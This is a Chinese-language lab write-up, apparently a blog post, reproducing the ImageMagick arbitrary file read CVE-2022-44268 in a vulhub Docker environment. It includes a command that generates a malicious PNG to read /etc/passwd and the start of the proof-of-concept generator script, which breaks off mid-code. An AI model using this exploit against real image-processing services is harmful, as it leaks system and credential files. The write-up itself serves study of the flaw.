ImageMagick任意文件读取漏洞(CVE-2022-44268)

0x00 前提

前几天爆出一个 ImageMagick 漏洞 ，可以造成一个任意文件读取的危害比较可观，最近有时间来复现学习一下

主要是影响的范围很大，很多地方都有这个问题，需要来学习一下

0x01 介绍

ImageMagick 是一个免费的开源软件套件，用于显示、转换和编辑图像文件。它可以读取和写入 200 多种图像文件格式，因此在全球网站中找到它是很常见的，因为总是需要处理用户个人资料、目录等的图片。

在ImageMagick 7.1.0-51版本及以前

CVE-2022-44268：ImageMagick 7.1.0-49 容易受到信息泄露的攻击。当它解析PNG图像（例如，调整大小）时，生成的图像可能嵌入了任意远程文件的内容（如果ImageMagick二进制文件有权读取它）。

0x02 漏洞介绍

CVE-2022-44268：任意远程泄露

当 ImageMagick 解析 PNG 文件时，例如在调整大小操作中，生成的图像可能嵌入了来自网站的任意远程文件的内容（如果 magick 二进制文件有权读取它）。

恶意行为者可以制作 PNG 或使用现有 PNG 并添加文本块类型（例如 tEXt）。这些类型具有关键字和文本字符串。如果关键字是字符串“profile”（不带引号），则 ImageMagick 会将文本字符串解释为文件名，并将内容加载为原始配置文件，然后攻击者可以下载随远程文件内容一起提供的调整大小的图像。

0x03 漏洞环境

问就是直接使用P牛的vulhub的环境，很方便。

执行如下命令启动一个Web服务器

docker-compose up -d

访问http://127.0.0.1:8080可以看到图片上传框

[后端服务]https://github.com/vulhub/vulhub/blob/master/imagemagick/CVE-2022-44268/index.php

（直接看github即可）

功能是将用户上传的任意图片缩小成50x50的PNG图片。

$newname = uniqid() . '.png';
shell_exec("convert -resize 50x50 {$_FILES['file_upload']['tmp_name']} ./{$newname}");

0x04 漏洞复现

利用这个漏洞，需要先准备一个恶意PNG文件，文件内容中包含我们准备读取的文件路径：

可以使用poc.py来生成这个图片：

./poc.py generate -o poc.png -r /etc/passwd

https://github.com/vulhub/vulhub/blob/master/imagemagick/CVE-2022-44268/poc.py

#!/usr/bin/env python3
import sys
import png
import zlib
import argparse
import binascii
import logging

logging.basicConfig(stream=sys.stderr, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
d = zlib.decompressobj()
e = zlib.compressobj()
IHDR = b'\x00\x00\x00\n\x00\x00\x00\n\x08\x02\x00\x00\x00'
IDAT = b'x\x9c\xbd\xcc\xa1\x11\xc0 \x0cF\xe1\xb4\x03D\x91\x8b`\xffm\x98\x010\x89\x01\xc5\x00\xfc\xb8\n\x8eV\xf6\xd9' \
       b'\xef\xee])%z\xef\xfe\xb0\x9f\xb8\xf7^J!\xa2Zkkm\xe7\x1